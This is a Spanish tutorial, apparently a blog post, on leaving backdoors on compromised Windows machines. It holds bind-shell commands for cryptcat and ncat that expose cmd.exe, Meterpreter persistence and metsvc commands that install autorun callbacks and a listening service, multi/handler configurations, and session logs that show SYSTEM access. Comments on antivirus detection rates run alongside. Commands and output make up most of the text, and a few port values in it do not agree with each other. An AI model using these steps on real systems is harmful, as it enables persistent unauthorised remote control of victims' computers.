Crypcat
Una solución a los inconvenientes de netcat es crypcat, podría decirse que es una versión «mejorada» de netcat para este fin en concreto.
Cryptcat resuelve los inconvenientes de netcat añadiendo cifrado a la conexión, una opción para la autenticación y es menos visible para los antivirus (aunque siguen detectándolo en algunos casos).
Cryptcat se puede descargar desde este enlace.
Consultando la ayuda de cryptcat surge la opción «-k» para utilizar una contraseña de autenticación.
root@bt:~# cryptcat -h [v1.10] connect to somewhere: nc [-options] hostname port[s] [ports] ... listen for inbound: nc -l -p port [-options] [hostname] [port] options: -e prog program to exec after connect [dangerous!!] -g gateway source-routing hop point[s], up to 8 -G num source-routing pointer: 4, 8, 12, ... -h this cruft -k secret set the shared secret -i secs delay interval for lines sent, ports scanned -l listen mode, for inbound connects -n numeric-only IP addresses, no DNS -o file hex dump of traffic -p port local port number -r randomize local and remote ports -s addr local source address -u UDP mode -v verbose [use twice to be more verbose] -w secs timeout for connects and final net reads -z zero-I/O mode [used for scanning]
A los ojos de virustotal sigue siendo detectable.
Capturando el tráfico de Cryptcat se observa cómo realiza la comunicación cifrada.
El uso de Cryptcat es exáctamente igual que el de Netcat.
Para dejarlo en el sistema comprometido escuchando:
cryptcat -Ldp 4444 -e cmd.exe
Y para conectarse a él:
cryptcat 192.168.1.36 4444
Ncat
Por último de la evolución de Netcat y Cryptcat, la gente del proyecto Nmap, han creado Ncat.
Ncat incluye el cifrado y sistema de autenticación ssl ,ssl cert, ssl key, ssl verify.
Ncat se puede descargar desde aquí.
Una opción importante de Ncat es que se puede restringir la conexión filtrando por IP como en el siguiente ejemplo (aunque no evita un ataque de falsificación de dirección IP):
ncat -lvp 4444 --ssl -e cmd.exe --allow 192.168.1.40
La conexión desde el equipo atacante es idéntico que sus predecesoras pero añadiendo el parámetro «–ssl»
ncat 192.168.1.40 4444 --ssl
Ncat tiene el ratio de detección de antivirus más bajo de los tres y evidentemente con la capa ssl, igual que Cryptcat, va cifrado.
Persistence en meterpreter
Volviendo a meterpreter también existe un script para crear persistencia en el equipo vulnerado. Para ver las opciones de este script se ejecuta en la consola de meterpreter el comando «run persistence -h»
meterpreter > run persistence -h OPTIONS: -A Automatically start a matching multi/handler to connect to the agent -U Automatically start the agent when the User logs on -X Automatically start the agent when the system boots -h This help menu -i The interval in seconds between each connection attempt -p The port on the remote host where Metasploit is listening -r The IP of the system running Metasploit listening for the connect back
Por ejemplo con el siguiente comando le decimos que se ejecute cada vez que el usuario se autentique en el sistema, que se refresque cada 5 segundos y esuche en el puerto 4444 en su dirección IP local 192.168.1.71.
meterpreter > run persistence -U -i 5 -p 4444 -r 192.168.1.71 [*] Creating a persistent agent: LHOST=192.168.1.71 LPORT=4444 (interval=5 onboot=true) [*] Persistent agent script is 613976 bytes long [*] Uploaded the persistent agent to C:\WINDOWS\TEMP\yyPSPPEn.vbs [*] Agent executed with PID 492 [*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\YeYHdlEDygViABr [*] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\YeYHdlEDygViABr [*] For cleanup use command: run multi_console_command -rc /root/.msf4/logs/persistence/XEN-XP-SP2-BARE_20100821.2602/clean_up__20100821.2602.rc meterpreter >
Para comporobar su funcionamiento se puede reiniciar el equipo con la persistencia instalada y dejar meterpreter a la escucha.
meterpreter > reboot Rebooting... meterpreter > exit [*] Meterpreter session 3 closed. Reason: User exit msf exploit(ms08_067_netapi) > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.1.71 LHOST => 192.168.1.71 msf exploit(handler) > set LPORT 4444 LPORT => 443 msf exploit(handler) > exploit [*] Started reverse handler on 192.168.1.71:4444 [*] Starting the payload handler...
Y cuando el usuario se autentica se crea la conexión de nuevo automáticamente.
[*] Sending stage (748544 bytes) to 192.168.1.161 [*] Meterpreter session 5 opened (192.168.1.71:443 -> 192.168.1.161:1045) at 2010-08-21 12:31:42 -0600 meterpreter > sysinfo Computer: XEN-XP-SP2-BARE OS : Windows XP (Build 2600, Service Pack 2). Arch : x86 Language: en_US meterpreter >
Metsvc
Otra puerta trasera más que contiene meterpreter es metsvc.
Las opciones de metsvc son sólo estas:
meterpreter > run metsvc -h [*] OPTIONS: -A Automatically start a matching multi/handler to connect to the service -h This help menu -r Uninstall an existing Meterpreter service (files must be deleted manually) meterpreter >
Con el comando run metsvc se instala en el equipo vulnerado y automáticamente se queda a la escucha en el puerto 31337
meterpreter > run metsvc [*] Creating a meterpreter service on port 31337 [*] Creating a temporary installation directory C:\DOCUME~1\victim\LOCALS~1\Temp\JplTpVnksh... [*] >> Uploading metsrv.dll... [*] >> Uploading metsvc-server.exe... [*] >> Uploading metsvc.exe... [*] Starting the service... [*] * Installing service metsvc * Starting service Service metsvc successfully installed. meterpreter >
Para conectarse a metsvc se utiliza un exploit multihandler con el payload de metsvc (en futuras entradas hablaré sobre metasploit, técnicas de explotación, etc.) indicando el puerto en el que está a la escucha «set LPORT 311337» y la dirección IP del equipo que está esuchando «set RHOST 192.168.1.104».
msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp PAYLOAD => windows/metsvc_bind_tcp msf exploit(handler) > set LPORT 31337 LPORT => 31337 msf exploit(handler) > set RHOST 192.168.1.104 RHOST => 192.168.1.104 msf exploit(handler) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/metsvc_bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique: seh, thread, process LPORT 31337 yes The local port RHOST 192.168.1.104 no The target address Exploit target: Id Name -- ---- 0 Wildcard Target msf exploit(handler) > exploit
Con el comando «exploit» anterior se realiza inmediatamente la conexión.
[*] Starting the payload handler... [*] Started bind handler [*] Meterpreter session 2 opened (192.168.1.101:60840 -> 192.168.1.104:31337) meterpreter > ps Process list ============ PID Name Path --- ---- ---- 140 smss.exe \SystemRoot\System32\smss.exe 168 csrss.exe \??\C:\WINNT\system32\csrss.exe 188 winlogon.exe \??\C:WINNT\system32\winlogon.exe 216 services.exe C:\WINNT\system32\services.exe 228 lsass.exe C:\WINNT\system32\lsass.exe 380 svchost.exe C:\WINNT\system32\svchost.exe 408 spoolsv.exe C:\WINNT\system32\spoolsv.exe 444 svchost.exe C:\WINNT\System32\svchost.exe 480 regsvc.exe C:\WINNT\system32\regsvc.exe 500 MSTask.exe C:\WINNT\system32\MSTask.exe 528 VMwareService.exe C:\Program Files\VMware\VMware Tools\VMwareService.exe 564 metsvc.exe c:\WINNT\my\metsvc.exe 588 WinMgmt.exe C:\WINNT\System32\WBEM\WinMgmt.exe 676 cmd.exe C:\WINNT\System32\cmd.exe 724 cmd.exe C:\WINNT\System32\cmd.exe 764 mmc.exe C:\WINNT\system32\mmc.exe 816 metsvc-server.exe c:\WINNT\my\metsvc-server.exe 888 VMwareTray.exe C:\Program Files\VMware\VMware Tools\VMwareTray.exe 896 VMwareUser.exe C:\Program Files\VMware\VMware Tools\VMwareUser.exe 940 firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe 972 TPAutoConnSvc.exe C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe 1000 Explorer.exe C:\WINNT\Explorer.exe 1088 TPAutoConnect.exe C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe meterpreter > pwd C:\WINDOWS\system32 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter >
El inconveniente de estas puertas traseras como en netcat es que carecen de autenticación y cualquiera que las descubra podría hacer uso de ellas.
En resumen, para crear puertas traseras sin recurrir a troyanos o aplicaciones RAT, las aplicaciones más populares son netcat, cryptcat y ncat. Y desde la consola de meterpreter está la posibilidad de utilizar el script persistence y metsvc.